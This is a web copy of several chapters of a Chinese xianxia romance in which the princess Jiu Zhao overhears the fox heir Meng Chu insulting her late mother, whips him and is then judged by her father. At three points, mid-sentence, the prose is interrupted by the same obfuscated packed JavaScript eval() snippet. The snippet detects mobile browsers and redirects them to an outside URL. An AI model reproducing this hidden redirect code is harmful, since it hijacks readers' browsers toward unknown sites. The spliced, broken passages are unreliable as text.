“不身体相触,神隐衣就无法对你生效,那此行本殿还怎么带上你?” 九昭坦荡望了过来,无谓男女有别,眸中流转的光彩显出朱映欲言又止的面孔。 不等朱映说什么,她将他牵得更紧,大摇大摆走出离恨天。 根据路程远近和亲疏喜好,他们首先来到代表南陵的琼英王府邸。 这座外形好似盛放牡丹的宫殿,对应南陵以牡丹族为尊的辖地传统,粉白二色为主,雕栏玉砌,极尽华美雍容,就连微风中也浮动着百花齐放般的异香,叫人闻之欲醉。 院内嬉戏着一群彩衣少女,九昭伏在墙头定睛一看,琼英王的独女重瑶宗姬也在其中。 她一身齐腰襦裙,额头的牡丹印记熠熠生辉,正在和同伴比赛投壶。 “本殿倒是与重瑶还算合得来,可惜——”她晚出生一万年,仙力较滢罗相差甚远。 一手扒住墙砖,一手撑着侧脸,九昭的目光定在阁中群仙的身上不放,自顾自嘀咕着。 她可以心无旁骛地挑选支持对象,而拘于礼节,半蹲在高墙上的朱映却要考虑许多了。 就着极其别扭的姿势,他回过头去,尴尬地看着墙外路过巡查的南陵护卫倏忽停下脚步,彼此疑惑交谈道:“诶,你看,墙上的玉砖怎么动了?” “我不知道啊。” …… 眼见南陵战力不足,九昭又带着朱映前往东原。 东原的环境气候更接近于人间芸生世。 每年的六到七月和十二月到来年二月,都有着鲜明的冷热更迭。 不管人还是草木动物,都会更趋向于同自己飞升前相似的住地。 因此东原也是人族神仙聚集最多的地方。 东原照羽王过去是人间修仙大门派的宗主,受封神王后,他在二清天的住所也保留着宗门住所的式样,内有太极八卦,外有群鹤纷飞,以青白二色象征克己守心,清净无为的处事态度。 时至午后,庭院内悄无声息。 九昭好奇他们在做什么,自高墙跃下,信步走进檐廊,方见三五年轻人正在室内打坐。 他们却也并非修行,似乎只是坐着,不见仙灵流通四周。 九昭瞧得专注,手肘捅捅旁边的朱映:“他们这是在干什么?” “打坐入定,感知周围的道法运行轨迹,这是人族神仙特有的修行方式。” 朱映回答得很是流利,仿佛万事万物皆了然于心。 九昭不由看他一眼:“说起来,你在本殿身边侍奉了千年,本殿却不曾了解过你的身份来历——你这么清楚人族的修行方式,莫非你是从东原来的?” 朱映的目光仍然盯着屋内,等到九昭问完,才慢吞吞地转过来同她对视,唇角微微勾起一抹谦卑的笑意:“自然不是,臣身份低微,不过一介无名散仙,因侍奉得当被帝座赏识,才在万年间一步一步有所提升,接着被帝座委以陪伴保护殿下的重任。” “噢。” 九昭满心都在眼前事上,朱影的回答没过脑子,得到她鼻腔发出的敷衍一声。 …… 转了两处,都没有资质和实力比得上滢罗的,她难免灰心。 只能将希望寄托在最后的北境之上。 但在前往北境神王的宫殿前,她已经给自己打好了预防针。 北境王族九尾狐曾在万年前跟随神后的同胞弟弟巫劭叛乱,虽然后续察觉形势不对,他们立刻调转枪口倒戈,发誓重新效忠神帝,但不忠之人无论投入哪处阵营,都不会再受到重用。 九尾狐族的上任家主因伤故去,新接任的崇黎王成日忙着和北境内迅速崛起的螣蛇一族明争暗斗,几万年过去,族中竟然再也没有培养出过一个天赋异禀的后裔。 哦,差点忘了。 倒是有那么一个在其他领域出名的。 只不过—— 没等九昭于无声唤出那个名字,几道尊卑分明的声音将她思绪打断: “殿下,昨日臣派出人手打听过,此次仙阶考试,滢罗宗姬也会报名参加。” “滢罗?她倒是回回不落,十分执着。 “罢了,既然她这么想要这个位置,何妨卖她个好,避免不必要的竞争。横竖她晋升成功之后,南陵东原那些人年纪轻轻,尚未拥有一战之力,下届考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918055|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试,金仙的位置非本世子莫属。” 身处北境神王的殿宇,再配上本世子的自称,九昭的脑海悄然浮现一张俊美却轻浮的脸。 崇黎王的嫡长子,年长她两万余岁的九尾狐孟楚。 心胸狭窄,天赋平平,靠着母亲的家族势力才能坐稳世子之位,竟敢在这里大放厥词。 她虽看不上滢罗,但滢罗的实力和刻苦程度,也不是他这种草包可以碰瓷的。 九昭轻折眼尾,俯视那道背对他们的身影,磨了磨雪亮的牙尖,目光露出几分不屑。 与之相对的,朱映心间一沉。 这样的开头,想必后头的也不会是什么好话。 他万望孟楚及其跟班能够口有遮拦,不料—— “殿下,您怕是忘了还有离恨天那位。” “离恨天,九昭神姬?” 孟楚抖开手中的山水折扇,故作潇洒地摇了摇,嘴里不屑哼笑,“她一个满脑子都是兰祁,兰祁堕魔后天都塌了的废柴点心能成什么气候?” “可那位没到成年就升了金仙,在此之前,三清天从未有人做到过……” “所以呢?成为金仙又怎样,还不是前脚被兰祁气得吐血,后脚又被扶胥上神嫌弃?要本世子说,她就是一个扫把星,原本神后都要好起来了,就是为了生下她才会——” “王兄,请慎言!” 简短几句话,不屑和轻蔑从九昭的眼中褪去,她唇角轻松的笑容亦不复。 朱映不敢去看九昭的脸,只发觉周身的空气温度迅速变高,口眼鼻唇处似有火灼烧—— 这是凤凰真血之力出现的征兆。 别的也就算了。 偏偏,孟楚非要同时提起神后和兰祁,这一向是九昭的逆鳞。 这厮真是找死! “殿下,不要轻举妄动,暗自打探考生信息,本是违背三清天法令的事。”朱映回握九昭的手,轻声劝告她,“神王世子言行如此放肆,臣回去后会立刻禀告帝座,请求帝座下令惩治。” 九昭来不及说话,几丈开外厉声喝止孟楚的另一道男声,再次将她的注意力夺去。 孟楚从来都是被众星捧着的月亮,更有着放眼北境,一人之下万人之上的高贵身份。 自家的地盘,竟然有人跟他唱反调。 孟楚登时有些下不来台。 看清楚与自己作对之人的面孔后,他更加心火灼烧。 “祝晏,你一个贱妾生的庶出子,也配跟本世子叫板?!” 名叫祝晏的青年有一张美丽到极致的面孔,流银般的长发,青蓝翡翠似的瞳孔,就连身上的着装、颈项耳骨的配饰都清一色极为浅淡低调,却又衬托出他的五官秾丽,近乎妖魔。 孟楚的辱骂入耳,他不卑不亢行礼,站在对方一臂开外:“兄长不顾整个九尾狐族的性命安危,就要口出忤逆言论,无论臣弟是您的同胞兄弟,还是任一北境普通平民,都有资格劝阻。” “放屁!本世子什么时候口出忤逆言论了?” 反应过来,孟楚也意识到自己对于九昭的评价太过僭越。 但话说回来,这里乃北境王邸,外有禁制,哪怕神帝都不可能一天十二个时辰时时监听。 外人没听见,就等于没说过。 祝晏又能奈他何? 将心落回肚子里,孟楚重新挺直腰板。 由于祝晏的身量过高,他不得不纡尊抬头仰视。 正当他想要给自己这个名义上的弟弟一点教训的时候,高墙上传来冰凉刺骨的女音: “你说没说过,就是没说过吗? “本殿可是全都听见了。” 12. 第12章 从孟楚发表那一通“阔论”开始,朱映便知晓他在劫难逃了。 情感上,他支持九昭的一切行动,并由衷认为,单凭孟楚的嚣张程度怎么惩罚都不为过。可从法理上,他也能够想见九昭亲自动手而招致的后果。 “殿下,惩罚神王世子这种小事何须脏了您的手,让臣来做就是,定叫殿下满意。” 九昭收起神隐衣的瞬息,他以密语恳切相求。 而九昭回答他的声音有着超乎寻常的冷静:“孟楚生性睚眦必报,又有北神王纵容,若今日你代掌刑罚,他们纵然奈何不了本殿,但将来定会找你的麻烦。多说无益,本殿心意已决。” 言罢,九昭松开彼此交握的双手。 将她的话一字不落听完的朱映,说不清此刻的内心究竟是何滋味。 他的视野尽处,红衣的神姬跃下高墙,如同一团点燃万物的火焰,狠狠撞进所有人心间。 北神王的府邸,比拟北境的风雪漫天。 一片银装素裹的境地里,断不会出现如烈火一般的张扬赤红。 正是这种突兀,造就了极致的明艳,一个照面便咄咄逼人地摄住在场所有人的呼吸。 孟楚的眸间亦迅速浮起一丝惊艳和垂涎。 正是这个短暂的、没有叫孟楚立刻认清当下形式的间隔,那同样燃烧着赤色辉光的打神鞭,已然出现在九昭白皙的掌心。 “她就是一个扫把星。 “原本神后都要好起来了,就是为了生下她才会—— “才会什么?不如神王世子在本殿面前说个清楚。” 九昭慢条斯理重复着孟楚的话,与此同时,有明灭的火光浮绕在她眸底。 她、她什么都听见了—— 该死,青天白日,她怎么会有闲心跑到二清天的神王殿来偷听?! 最后一丝侥幸心理被九昭的言辞打灭。 孟楚一边无声大叫,一边用在危机面前爆发出巨大潜力的脑子思忖起来: 若是承认,按照九昭的脾气,自己不死也得脱去半层皮。 若是咬死不承认,似乎更有可能争取一线生机。 况且九昭那里加上朱映才两人,自己身后有四五个人,事关北境的安危,料想祝晏也不敢胳膊往外拐,胡乱说出事情真相,就算吵到神帝的紫微宫—— 是了,是了,吵到神帝的紫微宫更好。 没关系的。 这些都算不了什么。 九昭是金仙,自己也是金仙。 真的打斗起来,他还能被九昭给杀了不成? 孟楚安慰着自己,用眼色示意旁边的同伴赶紧设法向崇黎王求援,又转过面孔,硬着头皮与九昭对视:“臣孟楚见过神姬殿下。只是未知殿下口中所说是何意思,臣竟一句也听不懂。” 九昭瞳孔的火光愈盛,步步走上前来。 她难得没有如同平时那样,乜着目光撩起袖子做出争吵的姿态。 在走到足够看清孟楚脸上每一丝表情变化的距离时,她轻笑一声,低头轻抚打神鞭的握柄:“听不懂还是听得懂,本殿都无所谓了。横竖今天心情不好,总要找个东西出出气——” 语至尾梢,情势陡转,随同她话音一同上扬的,是凌厉而至的鞭风! 孟楚心叫不好,连忙施法抵挡。 九尾狐族生性亲近金属性,皮毛、爪牙、骸骨皆可制作法器,有着强大的防御之力。 只见一道扇形的光弧组成屏障,死死阻隔在他与九昭中央,遽然间打神鞭难以寸进。 孟楚的面孔隐在半透明防御屏障后看不分明,奈何唇角弧度分外刺眼,显出主人内心得意。 稍等一炷香的时辰。 父王到来,自己就能安然无恙。 不攻击九昭,仅用防御屏障破了她的攻击术,也能即刻叫她颜面扫地。 看吧,高高在上的神姬,居然败在一个臣子的手下。 这不是废物点心是什么? 孟楚幻想着九昭威风全无的场景,加大仙力释放,还撑着屏障靠近九昭,似笑非笑挑衅。 “神姬殿下,您——” “何必白费力气”几个字未出口,他的瞳孔忽然惊恐瞪大,倒映着九昭锋利如刀的面孔,以及高高扬起,再度排山倒海袭来的鞭风。 如同烧红的利刃遇上凝结的油脂,打神鞭顺利无比劈开浅金色的防御屏障,自孟楚错愕的面孔到掐诀的手指,留下一道蜿蜒的、皮开肉绽的血痕。 “啊!!” 尖叫声出,疼痛后知后觉加倍翻涌。 孟楚断在嗓子里的音调逐渐变为一声声连绵不绝的惨叫: “啊啊啊啊!!九昭你怎么敢!!!” “九昭?” 臣下不得直呼君上大名,这是亘古不变的规矩。 九昭玩味唤出自己的名字,赤色火光已然尽数占据她妩媚的眼睛。 她再度出手,不过两下便劈开孟楚全力撑起的防御屏障,在他身上留下数道骇人的血迹。 “快点,快点来帮我—— “九昭神姬疯了,她要杀了我——” 孟楚痛得话都说不清楚,此刻也顾不得以上犯下、以多欺少的刻板规矩。他大声呼喊退在旁边不够资格参与纷争的北境贵族,又在九昭的攻击里,随机挑选一人作为自己的肉盾。 他不堪的手段起了作用,那些不想参与但为性命着想的男女们,终于联起手来抵抗。 九昭仙力只至金仙,愤怒下的爆发使她轻松击伤孟楚,可这么多高阶的北境贵族之力叠加起来,她也难免不敌。 被三鞭抽到毁容的孟楚捂着自己渗血的眼睛,过量的疼痛扭曲了他的面孔,疯癫狼狈到如同恶鬼,他窥探到九昭逐渐力竭的错漏,大拇指与中指捻出一缕仙力,便想趁机偷袭。 单挑上升到群架,原本听劝在旁的朱映立刻护主加入战局。 他挡在九昭身前,反手挡下孟楚的攻击,无数赤色的光圈在他掌心悬浮,而后找准各自的目标,将那些帮助孟楚抗衡九昭的贵族子弟们通通撞倒在地,捆绑起来。 “大胆,神姬殿下岂容尔等冒犯!” 他高声呵斥他们的不臣行径,不到顷刻九昭的对面只站着一个苦苦支撑的孟楚。 帮完九昭,朱映也不再说些得饶人处且饶人的废话,他估算着时间和孟楚所能承受的程度,一指冲破周围的上神结界,令感应到动静的仙兵紧急前往紫微宫通知神帝。 满地落雪间,九昭的长发衣衫无风自舞,她将疯狂叫嚣着“我乃北境神王世子,不是你常曦殿仆役”的孟楚一鞭抽倒,一下又一下,鞭开他的衣衫、血肉,受损最严重处可见森森白骨。 “贱人,贱人,九昭你这个贱人——你打了我,以为自己就能安然无恙吗?!你且仔细想想,抛开神姬的身份,这偌大三清天有几人真心服你!!!” 骂到最后,孟楚的半副真身被九昭打了出来,他身为狐族尚未修成九尾,六条毛茸茸的尾巴在身后胡乱摇摆,又随着孟楚气息的消散,逐渐无力地耷拉在身后,失去仙光蜷缩成灰扑一团。 “殿下,您快将北境世子打回原形了。” 朱映终是具备理智,上前一步低声提醒。 九昭头也未回,又一鞭将要挥出,云上倏忽响起仙官通报声:“神帝、北神王到——” …… 受伤严重的孟楚被两位医官一左一右扶起,带入内殿治疗,生死未知。 除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918056|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开祝晏、九昭和朱映,其他人均受伤不同程度的轻伤,不方便挪动,神帝只好暂时将北境王邸的正殿当做公堂。 他在主位坐定,目光逡巡过九昭的身躯,确定九昭没有受伤,才放下心来,用柔和不失威严的语调询问道:“昭儿,这是怎么回事?” 事实证明,孟楚设想的,九昭将从他那里听到的话一五一十告诉神帝,然后苦于没有提前准备证据,两方谁也不承认,互相辩驳争论的场面根本不存在。 九昭负手立在殿中,闻听神帝的垂询,只是仰起面孔来,昂然道:“回父神的话,没什么大不了的事,不过是儿臣看孟楚不顺眼,将他打了一顿。” 如此傲慢的言语一出,神帝和被恩准坐在侧下方的北神王还没给出反应,那些跟着北神王崇黎一同到来的北境属臣纷纷露出错愕的神情。 笑话! 孟楚是谁,是北境未来的神王,不是寂寂无名的散仙小卒。 九昭未成为神帝就如此暴戾无道,难保三清天的未来不毁在她手里! 群情激奋,有年轻气盛的属臣不禁对九昭目露愤懑。 神帝却仍然心平气和:“看不顺眼发生争执,总有原因,你且告诉本座,原因是什么?” “没有原因。” 九昭绷紧下颌,硬邦邦顶出一句。 见她对待自己的父亲都如此不恭顺,更多的北境属臣侧目以对,窃窃私语声随即传来。 “这也……” “太跋扈了!” “就算贵为神姬,也不能蛮不讲理——” 外人不清楚九昭打人的原因,朱映却十分清楚。 他深吸一口气,顶着重重压力试图把真相公之于众,落在脚边的衣摆反被九昭踩住。 九昭不曾对他使用心音,抗拒的姿态却分明无疑。 兰祁悔婚、神后早逝,皆是她心中毕生无法忘却的痛楚,如今当着众人的面,重述孟楚的恶言,自揭伤疤,就算能够赢得神帝不怪罪的理由,博取不知者的理解和同情—— 那又有什么用。 神姬九昭生性高傲,臣子们的怜悯于她而言不过是另一种层面的侮辱。 朱映不用转头,也能感应到周围异样的目光,仿佛九昭从来便是这座高贵门庭里的异类。 他的心忽而控制不住地收缩起来,一种酸涩而怜惜的陌生情绪喷涌而出。 他最终选择尊重九昭的意愿,俯下头颅,做她身后安静的影子。 九昭拒绝交代来龙去脉,而她的侍官也是住嘴绝口不言。 此等情势之下,失去了孟楚这根主心骨的北境众人,猜测定是九昭碍于颜面,不愿就神后和兰祁的话题于他们在御前争辩,于是气焰登时嚣张起来,你一言我一语道: “帝座明鉴,我家世子平素便是个真性情的人,言语也格外不拘小节。他并无真正冒犯九昭殿下的意思,只是就仙阶考试的最终魁首发表了一些猜测。” “许是世子猜测的人选不符合神姬殿下之意,惹得神姬殿下不满,才会引起冲突……” “可怜我家世子一心尊重神姬殿下,单方面任由神姬殿下发泄,最后竟被打成这副样子。” “求求帝座为世子,为臣等做主啊——” 对方众人颠倒黑白的功夫令人咋舌,朱映气得忍不住握紧拳头。 他望着九昭倔强挺直的肩膀,只觉这一秒的她如同被汹涌潮水席卷的孤岛。 窥见九昭这方怒而不言的姿态,北境告状的声音更是此起彼伏。 就在孟楚将被彻底洗白,而九昭要沦为十恶不赦罪人之际,那站在最后方,始终不发一言的祝晏大步迈了出来,站到神帝面前:“帝座,事情真相并非如此,臣有言要奏。” 13. 第13章 祝晏的声音如他的长相一般,堪堪出现就吸引了所有人的注意力。 “禀告帝座,臣可以作证,的确是王兄出言冒犯在先,犯下不敬之罪,神姬殿下才会亲手惩罚他的。且后续的情况也不似北境诸位所说的那样,仅是王兄单方面承受鞭打,过程中他有过回击,只是被神姬殿下的侍官以身抵挡了下来,这才没有对神姬殿下造成伤害。” 一边倒的风向里突然冒出个异类,还说孟楚挨打从头到尾都是他自作自受。 这让站在两侧,同仇敌忾的北境属臣们顿时有些尴尬。 滞涩几秒,有人嘀咕:“怎的祝晏公子和其余人等的说辞全然不同,到底谁说了谎……” 祝晏坦然回对:“我此前从未与神姬殿下见过面,有何理由袒护神姬殿下?” “你才一个人,那些说神姬无故殴打世子的却有三四人,按照数量分明——” “谁人多就能够占据道理吗?” 祝晏一句话叫质问之人哑口无言。 可很快又有另一道声音补上:“就算世子真的言辞有失,也不至于叫他拿命相抵吧?” 孟楚被打出原身六尾,是谁都看在眼里的。 不能把错全部推到九昭的头上,他们怎么也要给她安上个狠毒的罪名。 祝晏没有立刻反唇相讥,就着并肩的姿势,他朝九昭的方向投去一眼。 见对方没有因自己的自作主张露出不悦,他沉吟片刻,跳过孟楚口中兰祁的部分,意味深长地轻声道:“王兄的言论还提及神后,试问天下有谁能够面对父母声名无动于衷。” 这下,所有人都不说话了。 神后是九昭的母亲,想要利用她来打击九昭,所能用到的,唯有九昭降生与神后崩逝发生在同一日这件往事——可为了不让女儿长大后良心难安,神帝早就下令禁止三清天再将此提及。 祝晏的作证,若是假的还好。 若是真的,孟楚的背后言论涉及禁令,那么他犯下的罪行恐怕不是被打一顿就能揭过。 想到这里,北境仙族们的脸色通通难看了起来。 祝晏只想证明九昭的清白,无意深入这个话题。 他再度拱手,面朝神帝毕恭毕敬开口,“帝座,堂前各执一词的争辩终究无用,想要判断谁撒谎,办法其实很简单,将神姬殿下以及臣几人分别隔开审问争执过程,事出紧急,料想说谎者还没对过口供,只要多问几个问题,总能发现众口不一的错漏。” “帝座,依臣看,无需再额外审问。” 敛袖坐在下首,事到如今未置一言的北神王终于活了过来。 他不等神帝做出决定,疾步行至台下,竟然不顾神王威仪,撩起下摆跪倒在地,“这件事根本从头到尾就是臣那不争气的儿子的错,臣管教无方,自知犯下大错,恳请帝座赐罪!” 北神王俯首,砰砰磕地三个响头。 如此言辞恳切还不够,又并起两指一动,一缕金色神力朝着内殿急速射去。 不过眨眼,那原本躺在床上接受治疗的孟楚,猝不及防一屁股摔坐在大殿上。 孟楚尚处于初醒状态,身上破烂的长袍褪去,换了件整洁的中衣,囫囵有了个人样。 甫一见到父亲和神帝的面孔,以及两侧正襟危立的北境属臣,他痛得龇牙咧嘴的表情硬生生收了回去,睁大的瞳孔闪过一丝迷茫,显得有些滑稽。 北神王没有给孟楚反应的机会。 手指一勾,那金光一分为二,将孟楚手脚捆住,拖拽着他来到自己手边。 “父、父王,这是怎——” 孟楚的困惑被一个用劲狠厉的巴掌抽断。 响亮的动静未止,北神王又抓着他的衣襟,左右开弓,啪啪啪啪给了四个极重的耳光。 两颗染血的犬牙从孟楚口中喷出,他一边哀声凄叫着“父王为什么”,一边侧头躲避,瘦长的身躯在北神王毫不留情的铁掌下来回扭动,像极了即将被开膛破肚的大毛毛虫。 “你还敢躲!” 北神王干脆一把掐住孟楚的脖颈,窒息的感觉令孟楚再也无力躲闪,结结实实的耳光伴随着痛斥声,惊起飞檐上栖息的一排雀鸟,“你是什么身份,神后也是你可以随便议论的?! “神姬为君,你为臣,你痴长的年岁都活到狗肚子里了!竟然敢以下犯上! “殿下还是给你留了情面,如此悖逆不敬,就是被剔除仙骨打下长生台也不为过!!” 一时间,孟楚脸上鲜血眼泪齐飞,将皎洁的玉砖映上点点红梅。 崇黎动手教训亲子,摆明了要作证九昭并无半分过错。 北境属臣们战战兢兢,大气不敢出,而那些拥趸孟楚,扭曲事实的仙族更是面如死灰。 九昭冷眼旁观父子俩做戏,又别开面孔,去瞧另一位“大义灭亲”者祝晏的表情。 然而,无论是已经是结束的,还是正在上演的,都很无趣。 九昭收回目光,盯着玉砖之上倒映出来的,自己冰冷的眼睛。 不知过了多久,在好不容易苏醒的孟楚又要彻底昏死之际,殿上喜怒不辨的神帝终于启唇制止:“好了,崇黎,停手吧,有错当罚,但也要适可而止。” 北神王这才住手。 将奄奄一息的孟楚丢在一边,他双手交叠于身前,以头抢地,分外痛心疾首:“帝座,都是臣平日太忙疏于管教的罪过,臣不敢自辩,今日帝座就是要把楚儿削去仙籍,臣也无话可说!” 神魔交界处就在北境,每次征战讨伐,北神王都要派出兵力辅佐三清天的仙兵。相较于其他三位只需要管理好自己封地事务的神王们,北神王的确有资格称自己一句太忙。 他的话看似说者无心,听者却是有意。 “你既已严厉惩处,孟楚世子也得到了教训,更重的刑罚就不必了。” 神帝抬手,示意身旁仙官将孟楚带下去。 北神王自然千恩万谢,又转过身来,朝着九昭作揖到底,“臣谢过殿下的宽容大度!” 九昭唇角抽了抽,不想接茬,忽然听见北神王在末尾加上一句:“不过臣有个问题,不知可否请殿下解疑?殿下大驾光临神王邸,直接走正门就是,为何要隐去身形趴在墙头……?” 大脑空白一瞬,九昭刚想回答,又记起朱映说过,暗探报考神仙信息,有违三清天法度。 殿外相依翩飞的鸟叫声遥遥传来,清脆悦耳,九昭急中生智,镇定回望过去:“扶胥大败焚业海归来,又逢他的生辰相近,本殿想亲手制作礼物相贺,但其中少了一味极乐鸟的原料。” 极乐鸟只栖息在苦寒之地,浑身上下绮彩辉煌。除了北境,唯有常年风雪环绕的北神王邸可见踪迹。此鸟身形小巧,速度极快,寻常办法难以捕捉,隐去身形小心接近是最常见的方法。一旦捉住,它的骨血羽毛皆是最好的染料,能够让染出来的颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918057|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色千万年熠熠生辉,光洁如新。 九昭的理由找得合情合理,北神王也没抓着不放,理解地点了点头:“原来如此,这些小事殿下直接派人告知于臣就好,臣等下就将极乐鸟送去您的离恨天,不知殿下需要多少数量?” 闹剧上演到此刻,也该收场。 九昭客气颔首,随意编了个数量:“一对就好,多谢崇黎王。” 两人一来一回间,殿内凝肃的气氛趋于缓和,唯独神帝听出北神王话里有话。 他淡淡瞥向九昭,对于她来到神王邸的真实意图,心中倏忽明了几分:“昭儿,虽然崇黎一意将所有错误归咎到孟楚身上,但你行事太过冲动是真,不应随意动用私刑。” 九昭会意行礼:“请父神降罪。” “既如此,就罚你闭门思过三个月,若无本座法令,不得随意外出。” …… 审问结束,神帝率先离开,众人各自散场。 要回离恨天时,九昭最后由着性子一回,对朱映说道:“你先回去,马上要关禁闭了,本殿想再四处看看走走。” 知晓九昭心情不好,朱映也没强求,只道让她小心踪迹,别被北境那帮人抓到抗旨的把柄。 九昭干脆应承,转身朝二清天最边缘的澄心池飞去。 澄心池虽以“池”命名,但外形更接近于一座浮空岛屿。 芳草如茵的绿野簇拥着天地之灵汇聚的湖泊,岸旁还长有一棵上古时期就存在的碧落神木。 对比三清天其他闻名的景色,这里由于位置的缘故,少有人来。 九昭却很喜欢其独有的安静。 渐渐地,澄心池便成为了她疏散心情的自留地。 随意寻了处草坪坐下,九昭蹬掉碍事的鞋袜,并起膝盖,放任脚掌与绵绵草木亲近。 畅风拂动鬓边碎发,望着不远处明镜似的湖面,她终于能够收起面上的满不在乎。 扶胥不告而别后,闭关离恨天的五百年,让九昭快要忘记自己从出生起就不讨喜的事实。 神后,母亲。 九昭默念着这两个称呼,只觉无比遥远和陌生。 她的降生伴随着母亲的离世。 固然神帝安慰过此事与她无关,盖因早前神后在神魔战场上,替他挡去贯心一剑受了致命重伤,能够苦苦支撑一千五百年,迎接九昭的到来已是奇迹。 “父神说过我不是扫把星…… “我怎么可能会是害死母神的扫把星……” 九昭低声念叨几遍,拂开摩挲面孔的碎发,眼底却隐有晶莹泪意。 如果母神崩逝真的与她相关,她又何曾没有向天地祈告过,宁愿自己从未出生。 “明明所有人都不期待我,不欢迎我,恨不得三清天从始至终没有过我的存在。” 罕见的软弱在这个须臾流露,九昭探出手,紧紧抓住胸前的长乐命牌,化作渴望寻求依靠的孩童与不存在的母亲幻影对话:“您能不能告诉我,我来到这个世上究竟是对还是错……” 呢喃的声音消散在风中。 无人能够给予九昭答案。 她眼眶的热泪终究没有溢出,很快风干在原处,一点一点重塑成为神姬骄傲的盔甲。 随后不知名的灵息逸过指尖,她的眼神在感知到异样的顷刻间封冻如冰。 “谁? “做贼似的躲在那里,还不赶紧滚出来!” 14. 第14章 逸散的金光一点一点凝结,九昭身后无人的草地,霎时显出一具颀长男形。 是祝晏。 尽管神王邸中有他帮忙作证在前,但九昭眼底的寒冰依然未消融本分。 “你鬼鬼祟祟地跟着本殿做什么?” 青年俯身作揖的间隙,她伸手抹了把脸,淡声发问。 祝晏摊开手掌,银白鸟笼悬空浮现,里面是一对原本栖息在神王邸飞檐上的极乐鸟:“父王揣度殿下回到离恨天中再欲相见多有不便,于是遣臣赶在您上天辇前先把这对鸟儿送出。 “臣追过去时,正好看见您和朱映仙官说完话,朝反方向飞走了,所以——” 祝晏的话,交代清楚自己只是碰巧撞倒,而非蓄意隐匿身形跟踪九昭。 “本殿没有立刻回去关禁闭的事,你不许说出去。” 望着他纯良的面孔,九昭呲出尖牙,恶狠狠恐吓一句,转眸看向鸟笼中的弱小生灵。 两只流光溢彩的小鸟。 加起来仅有九昭的手掌大小。 在笼子里来回旋飞,啼鸣低啭,似乎并不明白自己即将迎来的处境。 …… 捕捉极乐鸟不过是九昭应付北神王所用的借口。 方才沉浸在自伤的情绪里,倒还真没想过拿到手要怎么处理。 她略作思忖,询问青年道:“极乐鸟需要生活在极寒之地,而本殿的离恨天四季如春,你且告诉本殿,要怎样才能让它们在离恨天存活下去?” 祝晏的目光交织几分惊讶:“原来殿下不是要将它们立刻捣碎充作染料。” 九昭皱眉:“那等残暴之事,本殿岂会——” 话语断成半截,九昭转念心想何必要跟不熟的人展露真实打算,便硬生生改口,“距离本殿完成礼物尚有一段时日,上色是最后一步,本殿不想让它们死得太早,破坏最终效果而已。” “原来是这样。” 对于九昭内心念头的笃定隐在惊讶情绪背后,祝晏装作恍然大悟,唇角勾起一抹笑意。 他并不揭穿九昭的嘴硬,转手在指尖蕴起金光,为鸟笼附上一层仙术。 “给。” 祝晏将鸟笼递了过去,九昭的手指触及底座边缘,顿觉寒意刺骨,“臣下了一道寒霜禁制在鸟笼内部,只要不放它们离开,这对极乐鸟就能平安无事地在笼子里生存下去。 “另外,殿下每天派人给它们喂些沾染仙灵的寒露就行。” 不慎被冻了一下,九昭没再试图用手接过鸟笼。她一挥袖,将鸟笼封进储物戒中,心中到底不忍这对极乐鸟困在笼里一生的悲惨命运,暗忖等回头结束禁闭,自己就将它们放归北境。 她自顾自想着,待回过神来,完成北神王委派任务的青年依旧没走。 他过高的身躯杵在九昭面前,挡住从三清天顶端洒落下来的明媚日光。 “你怎么还不走?” 阴影笼罩在九昭脸上,她抬起头,滞闷心绪难消,生出几分不耐。 祝晏凝视她几瞬,含笑道:“只是在想,殿下果真如臣猜测的那般,心软又良善。” 心软。 良善? 这两个词汇用来形容滢罗,九昭倒是听得耳朵都要起茧,可放在自己身上…… 九昭顿觉颇为新奇,只是顾及祝晏前番宁愿违抗孟楚也要帮助自己的行为,一时难以对青年是真的公正不阿,抑或趋炎附势下定义,便提防地盯着他道:“本殿大半个时辰前才用打神鞭将你王兄抽得死去活来,你转头就在这里夸本殿善良,就算要睁眼说瞎话也别太荒唐。” 九昭的话中讥讽意味十分明显,换做任何一个存在微妙意图的人,都会被刺得面皮发烫。 而祝晏仅是平心听她说完,随即弯起狭长眼梢,青蓝色的瞳孔仿佛嵌着两汪柔波:“有功当赏,有过当罚,殿下秉公论处的行为,怎能成为外界评判殿下为人的标准。” “你没听见父神说吗?就算孟楚有错,本殿也不该随意动用私刑。” 九昭也没想到,有一天身份局势会倒转,变成她指摘自己的错误,而另一方拼命替她找补。 祝晏还是一本正经向着她说话:“不怪殿下气恼,倘若臣处在殿下的位置,听见有人肆无忌惮利用早逝的母亲来猛戳臣的痛楚,臣也断断不会轻易放过那人一马。” 有些话,评价的虽是旁人,代入的却是自己。 